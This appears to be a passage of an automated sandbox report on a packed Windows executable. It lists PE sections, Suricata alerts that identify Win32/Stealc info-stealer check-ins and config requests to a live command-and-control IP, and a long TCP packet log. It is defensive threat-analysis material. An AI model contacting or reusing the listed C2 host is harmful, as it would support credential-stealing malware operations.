IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	6e923915a83c821f06c61f1bc8d741a6	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x29b000	0x200	2406279706281d22c720cd66d1f445e1	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ywpdrelt	0x4f9000	0x19a000	0x199200	e9cc0fbde711845ff01c586cbf9057a8	False	0.9948555176825542	data	7.954016607235579	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qdeutuzb	0x693000	0x1000	0x400	93f02bb70dd1ac16ac152979dcfedd23	False	0.7490234375	data	5.893626259838289	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	dad587757e386507de290bb842a35d56	False	0.07915900735294118	DOS executable (COM)	0.8720951526971068	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-30T15:20:04.212006+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:04.438011+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:04.444539+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.7	49699	TCP
2024-09-30T15:20:04.665096+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:04.681427+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.7	49699	TCP
2024-09-30T15:20:05.908642+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:06.414249+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:11.997492+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:13.048258+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:13.660045+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:14.181430+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:15.862271+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP
2024-09-30T15:20:16.246854+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.7	49699	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 15:20:03.261723995 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:03.267345905 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:03.267433882 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:03.269033909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:03.273885012 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:03.967005014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:03.967101097 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:03.969966888 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:03.974802971 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.209439993 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.212006092 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.213061094 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.217803001 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.437859058 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.437876940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.438010931 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.439582109 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.444539070 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.664993048 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665011883 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665021896 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665031910 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665041924 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665096045 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.665205956 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.665369034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665416002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665427923 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.665463924 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.665463924 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.665558100 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.676580906 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:04.681427002 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.899832964 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:04.901833057 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:05.024019957 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:05.024084091 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:05.028959990 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.028973103 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.028992891 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.029000998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.029072046 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.029097080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.029171944 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.908538103 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:05.908642054 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.191653013 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.196556091 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414176941 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414196968 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414236069 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414247990 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414248943 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414259911 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414273024 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414283037 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414294958 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414299965 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414299965 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414307117 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414319992 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414331913 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414333105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414344072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414356947 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.414356947 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414377928 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414417982 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414417982 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.414613008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.419840097 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.542471886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542562008 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542572975 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542675018 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.542737007 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542747974 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542762995 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.542918921 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542932034 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542942047 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.542953014 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.543008089 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.543008089 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.543008089 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.543577909 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.543589115 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.543601036 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.543662071 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.543662071 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.543715000 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.543724060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.543771029 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.543771029 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.544270992 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.544282913 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.544294119 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.544322014 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.544415951 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.544429064 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.544457912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.544457912 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.544547081 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.545223951 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.545234919 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.545247078 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.545332909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.545332909 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.545372963 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.545384884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.545511961 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.545999050 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.546320915 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.546427965 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.671597004 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671633959 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671751976 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671770096 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671781063 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.671786070 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671828985 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671834946 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.671835899 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.671884060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671895981 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671927929 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.671977043 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671988010 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.671998024 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.672035933 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.672036886 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.672519922 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.672569036 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.672584057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.672663927 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.672676086 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.672689915 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.672689915 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.672859907 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.673181057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673255920 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673418045 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673476934 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.673479080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673499107 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673512936 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673635006 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673645020 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673657894 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.673685074 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.673718929 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.674407005 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674423933 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674433947 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674498081 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.674498081 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.674544096 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674554110 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674565077 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674580097 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.674606085 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.674606085 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.674827099 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.675405979 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675424099 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675434113 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675466061 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.675549030 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675559998 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675570965 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675582886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.675604105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.675604105 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.675714016 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.676413059 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676423073 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676454067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676460028 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676465988 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676552057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676562071 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.676577091 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.676666021 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.758212090 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.758559942 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.758611917 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.758811951 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.800817013 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.800846100 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.800859928 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.800870895 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.800883055 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.800899029 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.800916910 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.800946951 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.800992012 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801006079 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801023960 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801058054 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801058054 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801166058 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801440001 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801454067 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801552057 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801615953 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801628113 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801646948 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801646948 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801657915 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801683903 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801690102 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801729918 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801816940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801826954 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801839113 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801846981 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801846981 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.801960945 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801973104 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801984072 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801995039 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.801996946 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802007914 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802020073 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802050114 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802166939 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802392960 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802444935 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802455902 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802490950 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802561045 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802566051 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802578926 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802588940 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802602053 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802649975 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802666903 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802900076 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802930117 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802939892 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.802983046 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802999973 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.802999973 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803075075 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803087950 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803098917 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803109884 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803143978 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803251028 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803417921 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803430080 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803441048 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803498030 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803498030 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803549051 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803567886 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803585052 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803596020 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803611994 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803611994 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803642035 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803642035 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803777933 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803790092 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803801060 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803812027 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803823948 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.803841114 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803870916 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.803870916 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.804332972 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.804389000 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.804400921 CEST	80	49699	185.215.113.37	192.168.2.7
Sep 30, 2024 15:20:06.804420948 CEST	49699	80	192.168.2.7	185.215.113.37
Sep 30, 2024 15:20:06.804476976 CEST	49699	80	192.168.2.7	185.215.113.37
